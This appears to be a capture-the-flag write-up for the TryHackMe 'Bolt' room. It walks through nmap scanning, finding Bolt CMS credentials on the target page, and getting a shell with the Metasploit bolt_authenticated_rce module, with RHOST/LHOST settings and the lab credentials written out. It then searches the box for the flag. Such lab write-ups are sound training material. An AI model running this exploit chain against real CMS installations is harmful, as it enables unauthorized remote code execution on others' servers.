Bolt TryHackMe walkthrough Remote code execution

 

 

The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

Bolt TryHackMe walkthrough Remote code execution

While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts. TryHackMe walkthrough Remote code execution

TryHackMe Room :- Click Here

 

Summary

•     Special port for User CMS
•     Default Apache without special directories
•     User and Password is on the webpage.
•     Vulnerable to (RCE) Remote Code Execution
•     Exploit with metasploit to get shell.
•     Search for the flag.

Reconnassiance

As always start with the nmap:

nmap -A -T4 -sV -sC -Pn -p- 10.10.93.121

 

 

 

Check port 80 and 8000 with your machine IP :

 

 

It’s default apache page ( 80 Port ) which nothing interesting.

I decided to run Gobuster,Dirb & Rustbuster against it but no more benefit..let's use 8000 port with web...

It redirects me to CMS site which has numerous of potential users, after looking around, I found the valid credentials.

Username

Password

Based on the website, it shows many links that pointed out to the user, so I decided to browse 10.10.93.121:8000/bolt and it redirects to the login page.

But I give you a tip to find the login page what the login page url is for a Bolt CMS

Search on google ....

Go to the login page at http://yourdomain.com/bolt Sign up with your: Username or email.

 

LoL :-)

After login, You will get the version of CMS and then search of this exploit

Now if we have the version, first thing to do is to search on exploitdb or you can use searchsploit.

Searchsploit is exploitdb database on your localhost.

 

also you can search this exploit in Exploit-db https://www.exploit-db.com/exploits/48296

 

So grab the path on the right side of the vulnerability. And run this command

searchsploit cms bolt

Found RCE

I decided to search around with searchsploit and found this CMS has Authenticated RCE.

open metasploit in terminal 

msfconsole -q

use exploit/unix/webapp/bolt_authenticated_rce

show options

set LHOST 10.8.61.234
set RPORT 8000
set RHOST 10.10.93.121
set USERNAME bolt
set PASSWORD boltadmin123

exploit

 

Searching for the flag!

By executing find commands, I may easily get the flag.
   

find / -type f -name "*.txt"

If you are using TMUX, press prefix+/ & ctrl+s, then search for flag.txt.

cat /home/flag.txt

 

 

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


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